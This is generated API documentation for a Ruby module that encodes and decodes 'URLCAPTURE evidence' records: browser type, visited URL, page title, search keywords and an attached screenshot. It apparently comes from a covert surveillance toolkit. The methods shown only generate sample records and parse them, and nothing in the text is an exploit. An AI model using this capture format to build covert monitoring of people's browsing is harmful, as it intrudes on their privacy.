Module: RCS::UrlcaptureEvidence
- Includes:
- UrlEvidence
- Defined in:
- lib/rcs-common/evidence/url.rb
Constant Summary collapse
- URL_VERSION =
2010071301
Constants included from UrlEvidence
RCS::UrlEvidence::BROWSER_TYPE, RCS::UrlEvidence::ELEM_DELIMITER, RCS::UrlEvidence::VERSION_DELIMITER
Instance Method Summary collapse
- #additional_header ⇒ Object
- #content ⇒ Object
- #decode_additional_header(data) ⇒ Object
- #decode_content(common_info, chunks) {|info| ... } ⇒ Object
- #generate_content ⇒ Object
Methods included from UrlEvidence
Instance Method Details
#additional_header ⇒ Object
94 95 96 97 98 99 100 101 102 103 104 105 |
# File 'lib/rcs-common/evidence/url.rb', line 94 def additional_header browser = [1, 2, 3, 4, 5, 6].sample r = rand(3) url = ['http://reader.google.com', 'https://www.facebook.com', 'http://www.stackoverflow.com'][r].to_utf16le_binary window = ['Google', 'Facebook', 'Stackoverflow'][r].to_utf16le_binary header = StringIO.new header.write [URL_VERSION, browser, url.size, window.size].pack("I*") header.write url header.write window header.string end |
#content ⇒ Object
85 86 87 88 |
# File 'lib/rcs-common/evidence/url.rb', line 85 def content path = File.join(File.dirname(__FILE__), 'content', 'url', '00' + (rand(3) + 1).to_s + '.jpg') File.open(path, 'rb') {|f| f.read } end |
#decode_additional_header(data) ⇒ Object
107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 |
# File 'lib/rcs-common/evidence/url.rb', line 107 def decode_additional_header(data) raise EvidenceDeserializeError.new("incomplete URLCAPTURE") if data.nil? or data.bytesize == 0 binary = StringIO.new data version, browser, url_len, window_len = binary.read(16).unpack("I*") raise EvidenceDeserializeError.new("invalid log version for URLCAPTURE") unless version == URL_VERSION ret = Hash.new ret[:data] = Hash.new ret[:data][:program] = BROWSER_TYPE[browser] ret[:data][:url] = binary.read(url_len).utf16le_to_utf8 ret[:data][:title] = binary.read(window_len).utf16le_to_utf8 ret[:data][:keywords] = decode_query ret[:data][:url] return ret end |
#decode_content(common_info, chunks) {|info| ... } ⇒ Object
124 125 126 127 128 129 130 |
# File 'lib/rcs-common/evidence/url.rb', line 124 def decode_content(common_info, chunks) info = Hash[common_info] info[:data] ||= Hash.new info[:grid_content] = chunks.join yield info if block_given? :delete_raw end |
#generate_content ⇒ Object
90 91 92 |
# File 'lib/rcs-common/evidence/url.rb', line 90 def generate_content [ content ] end |